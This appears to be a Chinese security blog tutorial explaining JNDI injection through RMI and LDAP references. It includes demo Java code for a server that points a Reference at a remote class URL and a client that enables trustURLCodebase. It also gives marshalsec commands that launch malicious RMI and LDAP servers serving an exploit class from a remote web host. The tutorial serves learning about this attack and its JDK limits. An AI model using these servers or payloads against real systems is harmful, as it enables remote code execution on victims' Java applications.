上文我简述了JNDI,本文我将演示如何攻击JNDI。
这个东西是BlackHat 2016(USA)的一个议题 “A Journey From JNDI LDAP Manipulation To RCE” 提出的。他的攻击步骤可以概括为以下几步:
作者水平有限,本文仅讲述以下几种攻击JNDI的方法。
在早期Java是可以运行在浏览器中的,也就是Applet。使用Applet通常需要指定一个codebase参数,比如:
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>
codebase是一个类地址,它告诉Java应该从哪里寻找class,就像classpath一样,但与classpath不一样的是codebase如果从本地加载不到,就会从远程地址中加载。如果codebase地址可控,在RMI中,codebase是和序列化数据一起传输的,所以会造成RCE。
但是codebase需要满足两个条件:
java.rmi.server.useCodebaseOnly=false
官方将 java.rmi.server.useCodebaseOnly
的默认值由 false 改为了 true 。 java.rmi.server.useCodebaseOnly
配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase
,不再支持从RMI请求中获取。所以这个东西特别鸡肋。
在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase
来设置Codebase。
例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件)
-Djava.rmi.server.codebase=http://url:8080/
当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
http://url:8080/com/project/test.class
看一下演示代码,同样本文仍然使用的是 Longofo 师傅的代码。
package com.longofo.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 创建Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
package com.longofo.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 下面这行是我自己加的 8u221需要 原因看下文 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); DirContext dirc = new InitialDirContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }
在RMIClient1.java中,我把 com.sun.jndi.ldap.object.trustURLCodebase
设置为true,没加上之前一直不成功,一步一步跟一下才解决问题,看下我的分析步骤:
跟进lookup,然后在 javax/naming/spi/NamingManager.java:146
会尝试从本地加载类
如不在classpath中会尝试从codebase加载
跟进loadClass
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
发现依据 trustURLCodebase
的值来判断是否加载,在类的属性中发现 trustURLCodebase
取决于 com.sun.jndi.ldap.object.trustURLCodebase
的值。堆栈
loadClass:101, VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158, NamingManager (javax.naming.spi) getObjectInstance:319, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:24, RMIClient1 (com.longofo.jndi)
private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase"; private static final String trustURLCodebase = AccessController.doPrivileged( new PrivilegedAction<String>() { public String run() { try { return System.getProperty(TRUST_URL_CODEBASE_PROPERTY, "false"); } catch (SecurityException e) { return "false"; } } } );
最后的效果就是这样
在实战用我更倾向于使用marshalsec来起RMI恶意服务,RMI服务端口号默认为1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
你仍然需要自己启动web服务
在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受 java.rmi.server.useCodebaseOnly=false
属性的限制。
但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase
、 com.sun.jndi.cosnaming.object.trustURLCodebase
的限制。
java.rmi.server.useCodebaseOnly com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.ldap.object.trustURLCodebase
一张图来展示JNDI注入的利用方式与JDK版本的关系:
图引用于 https://xz.aliyun.com/t/6633
小声逼逼:java每个版本的属性多多少少都有点不一样,对于搞安全的来讲实在是太累了:<
对于JNDI注入,需要注意:
还有一些包装类也调用了lookup(),比如:Spring的JndiTemplate。
这些带佬是真的强…
本文简述了如何攻击JNDI,以及一些限制条件,并且列举了一些已知的JNDI注入,解释了上文中留下来的坑。下文将讲述RMI。